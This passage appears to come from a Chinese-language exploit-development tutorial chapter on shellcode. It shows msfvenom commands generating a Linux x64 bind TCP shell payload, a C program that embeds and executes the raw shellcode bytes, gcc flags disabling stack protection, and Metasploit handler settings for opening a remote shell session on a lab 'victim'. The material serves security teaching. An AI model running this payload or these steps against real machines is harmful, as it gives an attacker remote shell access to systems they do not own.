现在,在我们的受害者机器上设置一个监听器:
$ ./reverse-tcp-shellcode
前面命令的输出显示在以下截图中:
现在,我们连接到了攻击者的机器:
我们成功了!
在这里,事情比你想象的简单。我们将使用 Metasploit 为多个平台和多个架构生成 shellcode,并在一个命令中删除坏字符。
我们将使用 msfvenom 命令。让我们使用 msfvenom -h 显示所有选项:
让我们使用msfvenom -l列出所有的有效载荷-这是一个非常庞大的有效载荷列表:
这只是列表中的一个小部分。
让我们使用msfvenom --help-formats来查看输出格式:
让我们尝试在 Linux 上创建绑定 TCP shellcode:
$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f c
这里很简单:-a指定架构,然后我们指定平台为 Linux,然后选择我们的有效载荷为linux/x64/shell/bind_tcp,然后使用-b选项去除不良字符\x00,最后我们指定格式为 C。让我们执行一下看看:
现在,将那个 shellcode 复制到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
然后,将其复制到我们的受害者机器上。现在,编译并运行它:
$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf
它正在等待连接。现在,让我们在攻击者机器上使用 Metasploit Framework 和msfconsole命令设置我们的监听器,然后选择处理程序:
use exploit/multi/handler
然后,我们使用这个命令选择我们的有效载荷:
set PAYLOAD linux/x64/shell/bind_tcp
现在,我们指定受害者机器的 IP:
set RHOST 192.168.238.128
然后,我们指定端口- Metasploit 的默认端口是4444:
set LPORT 4444
现在,我们运行我们的处理程序:
exploit
上述命令的输出如下截图所示:
它说会话在session 1上是活动的。让我们使用session 1激活这个会话:
成功了!
在本章中,我们学习了如何创建简单的 shellcode 以及如何去除不良字符。我们继续使用execve执行系统命令。然后,我们构建了高级的 shellcode,比如绑定 TCP shell 和反向 TCP shell。最后,我们看到了如何使用 Metasploit Framework 在一行中构建 shellcode 以及如何使用 Metasploit 设置监听器。
我们现在确切地知道如何构建有效载荷,所以我们将看看如何使用它们。在下一章中,我们将讨论缓冲区溢出攻击。


















































